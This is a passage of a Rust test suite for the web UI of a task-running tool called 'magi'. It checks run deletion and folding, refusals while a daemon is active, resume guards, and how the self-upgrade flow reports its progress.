8902 verified_noop: None,
8903 duration_ms: 0,
8904 folded: false,
8905 });
8906 let dir2 = runs.join(run_unfolded);
8907 std::fs::create_dir_all(&dir2).expect("create dir2");
8908 std::fs::write(
8909 dir2.join("run.json"),
8910 serde_json::to_string(&state2).unwrap(),
8911 )
8912 .expect("write run.json");
8913
8914 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
8915 assert_eq!(res.status, 409);
8916 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
8917 assert!(dir2.exists(), "unfolded run directory is kept");
8918
8919 let res = fx.delete("/api/runs/nonexistent").await;
8921 assert_eq!(res.status, 404);
8922 }
8923
8924 #[test]
8933 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
8934 let start = APP_JS
8935 .find("function renderStats() {")
8936 .expect("renderStats");
8937 let end = start
8938 + APP_JS[start..]
8939 .find("function statsTile(")
8940 .expect("the next top-level function");
8941 let body = &APP_JS[start..end];
8942
8943 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
8944 let gate_end = gate_start
8945 + body[gate_start..]
8946 .find("}\n renderStatsQueue")
8947 .expect("the gate's own closing brace, right before the unconditional call");
8948 let gated = &body[gate_start..gate_end];
8949
8950 assert_eq!(
8951 body.matches("renderStatsQueue(").count(),
8952 1,
8953 "renderStats must call renderStatsQueue exactly once: {body}"
8954 );
8955 assert!(
8956 !gated.contains("renderStatsQueue"),
8957 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
8958 run-derived panels on an empty run history - the queue panel has to render \
8959 regardless: {gated}"
8960 );
8961 }
8962
8963 #[test]
8964 fn web_ui_delete_contract_in_front_end() {
8965 assert!(APP_JS.contains("deleteRun:"));
8967 assert!(APP_JS.contains("deleteTask:"));
8968
8969 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
8971 ..APP_JS.find("function renderRuns").unwrap()];
8972 assert!(!run_cards_slice.to_lowercase().contains("delete"));
8973
8974 assert!(APP_JS.contains("renderRunDelete"));
8976 assert!(APP_JS.contains("runDeleteReason"));
8977 assert!(APP_JS.contains("magi fold"));
8978 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
8979
8980 assert!(APP_JS.contains("cancel.focus"));
8982 assert!(APP_JS.contains("armedRunDelete"));
8983 assert!(APP_JS.contains("armedDelete"));
8984
8985 assert!(APP_JS.contains("disabled: status === \"running\""));
8987 }
8988
8989 #[test]
9009 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
9010 let build = APP_JS
9011 .find("function createRunCard")
9012 .expect("createRunCard exists");
9013 let update = APP_JS
9014 .find("function updateRunCard")
9015 .expect("updateRunCard exists");
9016 let end = APP_JS
9017 .find("function renderRuns")
9018 .expect("renderRuns exists");
9019
9020 let builder = &APP_JS[build..update];
9022 let open = builder.find("refs = {").expect("createRunCard sets refs");
9023 let literal = &builder[open + "refs = {".len()..];
9024 let close = literal.find('}').expect("the refs literal is closed");
9025 let published: HashSet<&str> = literal[..close]
9026 .split(',')
9027 .filter_map(|entry| entry.split(':').next())
9029 .map(str::trim)
9030 .filter(|name| !name.is_empty())
9031 .collect();
9032 assert!(
9033 published.len() > 5,
9034 "the refs literal did not parse into names: {published:?}"
9035 );
9036
9037 let mut used: Vec<&str> = Vec::new();
9040 let updaters = &APP_JS[update..end];
9041 for (at, _) in updaters.match_indices("r.") {
9042 let before = updaters[..at].chars().next_back();
9045 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
9046 continue;
9047 }
9048 let rest = &updaters[at + 2..];
9049 let len = rest
9050 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
9051 .unwrap_or(rest.len());
9052 if len > 0 {
9053 used.push(&rest[..len]);
9054 }
9055 }
9056 assert!(
9057 used.len() > 5,
9058 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
9059 );
9060
9061 let missing: Vec<&str> = used
9062 .iter()
9063 .copied()
9064 .filter(|name| !published.contains(name))
9065 .collect();
9066 assert!(
9067 missing.is_empty(),
9068 "a run card's updater reaches for {missing:?}, which `createRunCard` \
9069 never put in `refs` - every card will throw and the list will \
9070 render empty under a count line that says otherwise. Published: \
9071 {published:?}"
9072 );
9073 }
9074
9075 #[tokio::test]
9076 async fn folding_from_the_phone_reports_what_it_removed() {
9077 let fx = Fixture::start().await;
9078 let runs = fx.runs();
9079
9080 let id = "20260901-000000-fold";
9084 write_run(&runs, id, RunStatus::Stalled);
9085 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9086 assert_eq!(res.status, 200);
9087 assert_eq!(res.json()["removed_count"], 0);
9088 assert_eq!(res.json()["run"], id);
9089 assert!(
9090 runs.join(id).exists(),
9091 "a fold keeps the run's record; only the worktrees go"
9092 );
9093 }
9094
9095 #[tokio::test]
9096 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
9097 let fx = Fixture::start().await;
9098 let runs = fx.runs();
9099 let wt = fx.home.path().join("wt").join("magi").join("dead");
9100 let id = "20260901-000000-dead";
9101 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9102 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9103 std::fs::create_dir_all(&wt).expect("worktree dir");
9104
9105 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9106 assert_eq!(res.status, 200, "{}", res.body);
9107 assert!(
9108 res.json()["removed_count"].as_u64().unwrap() > 0,
9109 "the worktree this build could not read a state for still went"
9110 );
9111 assert!(
9112 !runs.join(id).exists(),
9113 "an unreadable run has no candidate list to fold selectively, so \
9114 the whole record goes - same as `magi fold` on the CLI"
9115 );
9116 }
9117
9118 #[tokio::test]
9119 async fn deleting_an_unreadable_run_removes_it_wholesale() {
9120 let fx = Fixture::start().await;
9121 let runs = fx.runs();
9122 let wt = fx.home.path().join("wt").join("magi").join("gone");
9123 let id = "20260901-000000-gone";
9124 std::fs::create_dir_all(runs.join(id)).expect("run dir");
9125 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
9126 std::fs::create_dir_all(&wt).expect("worktree dir");
9127
9128 let res = fx.delete(&format!("/api/runs/{id}")).await;
9129 assert_eq!(res.status, 204, "{}", res.body);
9130 assert!(!runs.join(id).exists(), "the broken record is gone");
9131 assert!(!wt.exists(), "its worktree is gone too");
9132 }
9133
9134 #[tokio::test]
9135 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
9136 let fx = Fixture::start().await;
9137 let runs = fx.runs();
9138 let id = "20260901-000000-live";
9139 write_run(&runs, id, RunStatus::Implementing);
9140
9141 let mut beat = crate::daemon::Status::new();
9142 beat.current = vec![crate::daemon::Current {
9143 task: "20260901-000000-task".to_owned(),
9144 run: id.to_owned(),
9145 }];
9146 beat.updated_at = jiff::Timestamp::now();
9147 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9148 .expect("publish a heartbeat");
9149
9150 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
9151 assert_eq!(res.status, 409);
9152 assert!(
9153 res.json()["error"]
9154 .as_str()
9155 .unwrap()
9156 .contains("live daemon"),
9157 "folding under a running agent would pull its worktree away"
9158 );
9159 }
9160
9161 #[tokio::test]
9162 async fn fold_merged_requires_a_pr_url() {
9163 let fx = Fixture::start().await;
9164 let runs = fx.runs();
9165 let id = "20260901-000000-nourl";
9166 write_run(&runs, id, RunStatus::Blocked);
9167
9168 let res = fx
9169 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
9170 .await;
9171 assert_eq!(res.status, 400, "{}", res.body);
9172
9173 let blank = fx
9174 .post(
9175 &format!("/api/runs/{id}/fold-merged"),
9176 Some(r#"{"pr_url":" "}"#),
9177 )
9178 .await;
9179 assert_eq!(blank.status, 400, "{}", blank.body);
9180 }
9181
9182 #[tokio::test]
9183 async fn fold_merged_is_404_for_an_unknown_run() {
9184 let fx = Fixture::start().await;
9185 let res = fx
9186 .post(
9187 "/api/runs/nosuchrun/fold-merged",
9188 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9189 )
9190 .await;
9191 assert_eq!(res.status, 404, "{}", res.body);
9192 }
9193
9194 #[tokio::test]
9195 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
9196 let fx = Fixture::start().await;
9197 let runs = fx.runs();
9198 let id = "20260901-000000-livemerge";
9199 write_run(&runs, id, RunStatus::Blocked);
9200
9201 let mut beat = crate::daemon::Status::new();
9202 beat.current = vec![crate::daemon::Current {
9203 task: "20260901-000000-task".to_owned(),
9204 run: id.to_owned(),
9205 }];
9206 beat.updated_at = jiff::Timestamp::now();
9207 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9208 .expect("publish a heartbeat");
9209
9210 let res = fx
9211 .post(
9212 &format!("/api/runs/{id}/fold-merged"),
9213 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9214 )
9215 .await;
9216 assert_eq!(res.status, 409, "{}", res.body);
9217 assert!(
9218 res.json()["error"]
9219 .as_str()
9220 .unwrap()
9221 .contains("live daemon"),
9222 "correcting a run's merge underneath a running agent would race \
9223 whatever it is doing to the same `status`/`merge` fields"
9224 );
9225 }
9226
9227 #[tokio::test]
9232 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
9233 let fx = Fixture::start().await;
9234 let runs = fx.runs();
9235 let id = "20260901-000000-unconfirmed";
9236 write_run(&runs, id, RunStatus::Blocked);
9237
9238 let res = fx
9239 .post(
9240 &format!("/api/runs/{id}/fold-merged"),
9241 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
9242 )
9243 .await;
9244 assert_eq!(res.status, 400, "{}", res.body);
9245 assert_eq!(
9246 read_run(&runs, id).unwrap().status,
9247 RunStatus::Blocked,
9248 "a pull request that could not be confirmed merged must leave \
9249 the run exactly where it was"
9250 );
9251 }
9252
9253 #[tokio::test]
9254 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
9255 let fx = Fixture::start().await;
9256 let runs = fx.runs();
9257
9258 for (status, word) in [
9264 (RunStatus::Merged, "merged"),
9265 (RunStatus::Ready, "ready"),
9266 (RunStatus::Failed, "failed"),
9267 ] {
9268 let id = format!("20260901-000000-{}", &word[..4]);
9269 write_run(&runs, &id, status);
9270 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
9271 assert_eq!(res.status, 409, "{word} must not be resumable");
9272 let err = res.json()["error"].as_str().unwrap().to_owned();
9273 assert!(err.contains(word), "the refusal names the status: {err}");
9274 }
9275
9276 let mid = "20260901-000000-midf";
9281 write_run(&runs, mid, RunStatus::Reviewing);
9282 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
9283 assert_eq!(res.status, 202, "an interrupted run is resumable");
9284 }
9285
9286 #[tokio::test]
9287 async fn resume_is_refused_while_the_loop_is_running() {
9288 let fx = Fixture::start().await;
9289 let runs = fx.runs();
9290 let stalled = "20260901-000000-stal";
9291 write_run(&runs, stalled, RunStatus::Stalled);
9292
9293 let mut beat = crate::daemon::Status::new();
9297 beat.current = vec![crate::daemon::Current {
9298 task: "20260901-000000-task".to_owned(),
9299 run: "20260901-000000-othr".to_owned(),
9300 }];
9301 beat.updated_at = jiff::Timestamp::now();
9302 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9303 .expect("publish a heartbeat");
9304
9305 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
9306 assert_eq!(res.status, 409);
9307 let err = res.json()["error"].as_str().unwrap().to_owned();
9308 assert!(err.contains("othr"), "it names what the loop is on: {err}");
9309 assert!(err.contains("stop it first"), "{err}");
9310 }
9311
9312 #[test]
9313 fn a_run_cannot_be_resumed_twice_at_once() {
9314 let home = TempDir::new().expect("temp home");
9315 let ui = Ui::new(
9316 Queue::at(home.path().join("queue")),
9317 Questions::at(home.path().join("questions")),
9318 Talks::at(home.path().join("talks")),
9319 home.path().join("runs"),
9320 home.path().to_path_buf(),
9321 PathBuf::from("/repo"),
9322 )
9323 .with_worktrees_root(home.path().join("wt"));
9324 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
9325 let again = ui.begin_resume("20260901-000000-once");
9326 assert!(again.is_err(), "a second tap must not start a second graph");
9327 drop(first);
9328 assert!(
9329 ui.begin_resume("20260901-000000-once").is_ok(),
9330 "and the claim is released when the attempt ends"
9331 );
9332 }
9333
9334 #[test]
9335 fn talk_thinking_tracks_only_its_held_turn_claim() {
9336 let home = TempDir::new().expect("temp home");
9337 let ui = Ui::new(
9338 Queue::at(home.path().join("queue")),
9339 Questions::at(home.path().join("questions")),
9340 Talks::at(home.path().join("talks")),
9341 home.path().join("runs"),
9342 home.path().to_path_buf(),
9343 PathBuf::from("/repo"),
9344 )
9345 .with_worktrees_root(home.path().join("wt"));
9346 let id = "20260901-000000-once";
9347
9348 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
9349 let turn = ui.begin_talk_turn(id).expect("claim turn");
9350 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
9351 assert!(
9352 !ui.is_thinking("20260901-000000-other"),
9353 "one talk's turn does not make another talk busy"
9354 );
9355 drop(turn);
9356 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
9357 }
9358
9359 #[tokio::test]
9360 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
9361 let fx = Fixture::start().await;
9362 let mut beat = crate::daemon::Status::new();
9366 beat.pid = 4321;
9367 beat.updated_at = jiff::Timestamp::now();
9368 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
9369 .expect("publish a heartbeat");
9370
9371 let res = fx.post("/api/upgrade", None).await;
9372 assert_eq!(res.status, 409);
9373 let err = res.json()["error"].as_str().unwrap().to_owned();
9374 assert!(err.contains("4321"), "the refusal names the owner: {err}");
9375 assert!(err.contains("old one against the same queue"), "{err}");
9376 }
9377
9378 #[test]
9385 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
9386 assert!(!should_spawn_recheck(&crate::config::Update {
9387 mode: UpdateMode::Off,
9388 interval: None,
9389 }));
9390
9391 unsafe {
9394 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9395 }
9396 let killed = should_spawn_recheck(&crate::config::Update {
9397 mode: UpdateMode::Notify,
9398 interval: None,
9399 });
9400 unsafe {
9401 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9402 }
9403 assert!(
9404 !killed,
9405 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
9406 one-time startup check"
9407 );
9408
9409 assert!(should_spawn_recheck(&crate::config::Update {
9410 mode: UpdateMode::Notify,
9411 interval: None,
9412 }));
9413 }
9414
9415 #[test]
9421 fn recheck_poll_period_tracks_a_short_configured_interval() {
9422 let short = crate::config::Update {
9423 mode: UpdateMode::Notify,
9424 interval: Some("1m".to_owned()),
9425 };
9426 let period = recheck_poll_period(&short);
9427 assert!(
9428 period <= Duration::from_secs(30),
9429 "a one-minute interval must wake the task far sooner than the \
9430 default ceiling, or the deck would not notice within the \
9431 interval the operator configured: got {period:?}"
9432 );
9433
9434 let default = crate::config::Update {
9435 mode: UpdateMode::Notify,
9436 interval: None,
9437 };
9438 assert_eq!(
9439 recheck_poll_period(&default),
9440 UPDATE_RECHECK_POLL_MAX,
9441 "the default day-long interval should poll at the (capped) \
9442 ceiling rather than needlessly often"
9443 );
9444 }
9445
9446 #[test]
9454 fn recheck_skips_the_network_before_the_interval_elapses() {
9455 let dir = TempDir::new().expect("temp dir");
9456 let path = dir.path().join("state.json");
9457 let state = kaishin::UpdateCheckState {
9458 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
9459 last_known_latest: None,
9460 last_known_url: None,
9461 };
9462 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
9463
9464 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
9465 assert!(
9466 !update_recheck_due(&checker, None),
9467 "a check made moments ago must not be repeated before the \
9468 configured interval elapses"
9469 );
9470 }
9471
9472 #[test]
9478 fn recheck_defers_to_an_upgrade_already_in_flight() {
9479 let dir = TempDir::new().expect("temp dir");
9480 let path = dir.path().join("state.json");
9481 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
9482 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
9483
9484 assert!(
9485 !update_recheck_due(&checker, Some(&progress)),
9486 "a recheck must not run while an upgrade this deck started is \
9487 still moving"
9488 );
9489 }
9490
9491 #[tokio::test]
9492 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
9493 unsafe {
9505 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
9506 }
9507 let fx = Fixture::start().await;
9508 let res = fx.post("/api/upgrade", None).await;
9509 unsafe {
9510 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
9511 }
9512 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9513 let body = res.json();
9514 assert!(body["to"].is_null(), "there was no release to move to");
9515 assert!(body["parked"].is_null(), "and nothing was parked");
9516 assert!(
9517 body["detail"]
9518 .as_str()
9519 .unwrap()
9520 .contains("disabled by MAGI_NO_AUTOUPDATE"),
9521 "{body:?}"
9522 );
9523 }
9524
9525 #[tokio::test]
9526 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
9527 let repo = TempDir::new().expect("repo dir");
9543 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9544 .expect("write magi.toml");
9545 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9546
9547 let res = fx.post("/api/upgrade", None).await;
9553 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
9554 let body = res.json();
9555 assert!(body["to"].is_null(), "there was no release to move to");
9556 assert!(body["parked"].is_null(), "and nothing was parked");
9557 assert!(
9558 body["detail"]
9559 .as_str()
9560 .unwrap()
9561 .contains("nothing restarted"),
9562 "{body:?}"
9563 );
9564 }
9565
9566 #[tokio::test]
9567 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
9568 let repo = TempDir::new().expect("repo dir");
9573 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
9574 .expect("write magi.toml");
9575 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
9576
9577 let health = fx.get("/api/health").await.json();
9578 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
9579 assert_eq!(
9580 health["update"]["available"], false,
9581 "checking is off, which reads as \"unknown\", not \"none\""
9582 );
9583 assert!(health["update"]["to"].is_null());
9584 assert!(
9585 health["upgrade"].is_null(),
9586 "nothing has ever asked this deck to upgrade"
9587 );
9588 }
9589
9590 #[tokio::test]
9591 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
9592 let fx = Fixture::start().await;
9593 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
9594
9595 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9596 progress.parked_run = Some("20260905-000000-cd51".to_owned());
9597 progress.advance(crate::updater::Stage::Parking);
9598 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9599
9600 let health = fx.get("/api/health").await.json();
9601 assert_eq!(health["upgrade"]["stage"], "parking");
9602 assert_eq!(health["upgrade"]["from"], "0.5.1");
9603 assert_eq!(health["upgrade"]["to"], "0.5.2");
9604 let waiting_on = health["upgrade"]["waiting_on"]
9605 .as_str()
9606 .expect("waiting_on is set while parking a known run");
9607 assert!(waiting_on.contains("cd51"), "{waiting_on}");
9608 assert!(waiting_on.contains("implementing"), "{waiting_on}");
9609 }
9610
9611 #[tokio::test]
9612 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
9613 let fx = Fixture::start().await;
9614 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9615 progress.advance(crate::updater::Stage::Done);
9616 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
9617
9618 let health = fx.get("/api/health").await.json();
9619 assert_eq!(health["upgrade"]["stage"], "done");
9620 assert!(
9621 health["upgrade"]["waiting_on"].is_null(),
9622 "nothing to wait on once it is done"
9623 );
9624 }
9625
9626 #[tokio::test]
9627 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
9628 let home = TempDir::new().expect("temp home");
9629 let runs = home.path().join("runs");
9630 std::fs::create_dir_all(&runs).expect("runs dir");
9631 let ui = Ui::new(
9632 Queue::at(home.path().join("queue")),
9633 Questions::at(home.path().join("questions")),
9634 Talks::at(home.path().join("talks")),
9635 runs,
9636 home.path().to_path_buf(),
9637 PathBuf::from("/repo/magi"),
9638 )
9639 .with_launch(launch_idle);
9640 let looping = ui.looping();
9641 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9642 .await
9643 .expect("bind loopback");
9644 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9645
9646 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
9647 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
9648
9649 hand_over(home.path(), &looping, served, || Ok(()))
9650 .await
9651 .expect("hand over");
9652
9653 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
9654 assert_eq!(
9655 after.stage,
9656 crate::updater::Stage::Restarting,
9657 "hand_over owns the record through parking and up to restarting; \
9658 the successor is what finishes it"
9659 );
9660 }
9661
9662 #[test]
9663 fn the_upgrade_button_arms_before_it_restarts_anything() {
9664 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
9667 assert!(APP_JS.contains("Replace the binary and restart?"));
9668 assert!(APP_JS.contains("function confirmed("));
9669 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
9674 assert!(
9678 APP_JS.contains("Parking, then restarting"),
9679 "the button says what it is waiting for"
9680 );
9681 assert!(APP_JS.contains("if (!out.to)"));
9684 }
9685
9686 #[test]
9687 fn stopping_the_loop_arms_but_starting_does_not() {
9688 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
9691 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
9692 assert!(APP_JS.contains("confirmed(button, question)"));
9693 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
9696 assert!(APP_JS.contains("const label = btn.textContent;"));
9697 assert!(!APP_JS.contains("Neither direction is guarded"));
9698 }
9699
9700 #[test]
9701 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
9702 assert!(
9703 APP_JS.contains("state.health.version"),
9704 "the operator wants to know what is running even with nothing newer"
9705 );
9706 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
9707 }
9708
9709 #[test]
9710 fn the_upgrade_button_names_its_destination() {
9711 assert!(
9712 APP_JS.contains("`Update to ${update.to}`"),
9713 "pressing the button should not be a surprise about what it moves to"
9714 );
9715 }
9716
9717 #[test]
9718 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
9719 for stage in ["downloading", "replaced", "parking", "restarting"] {
9720 assert!(
9721 APP_JS.contains(&format!("\"{stage}\"")),
9722 "the phone must be able to tell {stage} apart from the others"
9723 );
9724 }
9725 assert!(APP_JS.contains(".waiting_on"));
9726 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
9731 assert!(APP_JS.contains("reconnects on its own"));
9732 }
9733
9734 #[test]
9735 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
9736 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
9745 ..APP_JS.find("function upgrade(").expect("upgrade")];
9746 assert!(
9747 !body.contains(
9748 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
9749 ),
9750 "a failed upgrade must not take the whole strip over the way it used to"
9751 );
9752 assert!(
9753 body.contains("upgradeFailNote"),
9754 "the failure has to reach the loop's own note instead"
9755 );
9756 assert_eq!(
9760 body.matches("upgradeFailNote].filter(Boolean).join")
9761 .count(),
9762 2,
9763 "both loop-why writers (quiet and control) must fold the note in"
9764 );
9765 }
9766
9767 #[test]
9768 fn an_overdue_upgrade_eventually_asks_for_a_human() {
9769 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
9772 assert!(APP_JS.contains("function upgradeOverdue("));
9773 }
9774
9775 #[test]
9776 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
9777 assert!(
9778 APP_JS.contains("Updated to ${upgradeInfo.to"),
9779 "the operator who asked for the restart wants to know it worked"
9780 );
9781 }
9782
9783 #[test]
9784 fn an_error_is_visible_from_where_the_button_is() {
9785 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
9790 ..APP_CSS.find(".alert-text").expect(".alert-text")];
9791 assert!(
9792 alert.contains("position: fixed"),
9793 "an error about the thing under your thumb has to be visible from \
9794 where your thumb is: {alert}"
9795 );
9796 assert!(
9797 alert.contains("z-index: 25"),
9798 "above the dock (20) and the run-actions FAB (15), so neither \
9799 buries it: {alert}"
9800 );
9801 assert!(
9802 alert.contains("var(--tap)"),
9803 "and clear of the dock and the home indicator: {alert}"
9804 );
9805 assert!(
9808 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
9809 "the FAB's column stays free: {alert}"
9810 );
9811 }
9812
9813 #[tokio::test]
9814 async fn an_older_attempt_says_what_replaced_it() {
9815 let fx = Fixture::start().await;
9816 let q = fx.queue();
9817 let runs = fx.runs();
9818 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
9819 write_run(&runs, first, RunStatus::Stalled);
9820 write_run(&runs, second, RunStatus::Blocked);
9821
9822 let mut t = Task::new(
9823 "one task".to_owned(),
9824 "do it".to_owned(),
9825 PathBuf::from("/repo"),
9826 Source::Human,
9827 );
9828 t.runs = vec![first.to_owned(), second.to_owned()];
9829 q.put(&mut t).expect("put");
9830
9831 let rows = fx.get("/api/runs").await.json();
9835 let by = |short: &str| -> Value {
9836 rows.as_array()
9837 .unwrap()
9838 .iter()
9839 .find(|r| r["short"] == short)
9840 .cloned()
9841 .unwrap_or(Value::Null)
9842 };
9843 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
9844 assert!(
9845 by("bbbb")["superseded_by"].is_null(),
9846 "the latest attempt is not superseded by anything"
9847 );
9848 assert!(APP_JS.contains("run.superseded_by"));
9850 assert!(APP_JS.contains("Superseded by"));
9851 }
9852
9853 #[tokio::test]
9854 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
9855 let fx = Fixture::start().await;
9860 let q = fx.queue();
9861 let runs = fx.runs();
9862 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
9863 write_run(&runs, first, RunStatus::Blocked);
9864 write_run(&runs, second, RunStatus::Merged);
9865
9866 let mut t = Task::new(
9867 "one task".to_owned(),
9868 "do it".to_owned(),
9869 PathBuf::from("/repo"),
9870 Source::Human,
9871 );
9872 t.runs = vec![first.to_owned(), second.to_owned()];
9873 q.put(&mut t).expect("put");
9874
9875 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
9876 assert_eq!(earlier["superseded_by"], "dddd");
9877 assert_eq!(earlier["latest_attempt"]["id"], second);
9878 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
9879 assert_eq!(
9880 earlier["latest_attempt"]["resolved"], true,
9881 "the run that replaced it landed, so this one reads as settled"
9882 );
9883
9884 let later = fx.get(&format!("/api/runs/{second}")).await.json();
9885 assert!(
9886 later["superseded_by"].is_null(),
9887 "the latest attempt is not superseded by anything"
9888 );
9889 assert!(
9890 later["latest_attempt"].is_null(),
9891 "the latest attempt has no later attempt of its own"
9892 );
9893
9894 assert!(APP_JS.contains("run.latest_attempt"));
9901 assert!(APP_JS.contains("data-superseded"));
9902 assert!(APP_JS.contains("#/runs/${latest.id}"));
9903 }
9904
9905 #[tokio::test]
9906 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
9907 let fx = Fixture::start().await;
9913 let q = fx.queue();
9914 let runs = fx.runs();
9915 let (a, b, c) = (
9916 "20260901-000000-aaaa",
9917 "20260901-000000-bbbb",
9918 "20260901-000000-cccc",
9919 );
9920 write_run(&runs, a, RunStatus::Blocked);
9921 write_run(&runs, b, RunStatus::Blocked);
9922 write_run(&runs, c, RunStatus::Merged);
9923
9924 let mut t = Task::new(
9925 "retried twice".to_owned(),
9926 "do it".to_owned(),
9927 PathBuf::from("/repo"),
9928 Source::Human,
9929 );
9930 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
9931 q.put(&mut t).expect("put");
9932
9933 let view = fx.get(&format!("/api/runs/{a}")).await.json();
9934 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
9935 assert_eq!(
9936 view["latest_attempt"]["id"], c,
9937 "the chain's current head, not the intermediate Blocked retry"
9938 );
9939 assert_eq!(view["latest_attempt"]["resolved"], true);
9940
9941 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
9942 assert_eq!(mid["latest_attempt"]["id"], c);
9943 assert_eq!(mid["latest_attempt"]["resolved"], true);
9944 }
9945
9946 #[tokio::test]
9947 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
9948 let fx = Fixture::start().await;
9949 let q = fx.queue();
9950 let runs = fx.runs();
9951
9952 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
9955 write_run(&runs, still_blocked_a, RunStatus::Blocked);
9956 write_run(&runs, still_blocked_b, RunStatus::Blocked);
9957 let mut t1 = Task::new(
9958 "still stuck".to_owned(),
9959 "do it".to_owned(),
9960 PathBuf::from("/repo"),
9961 Source::Human,
9962 );
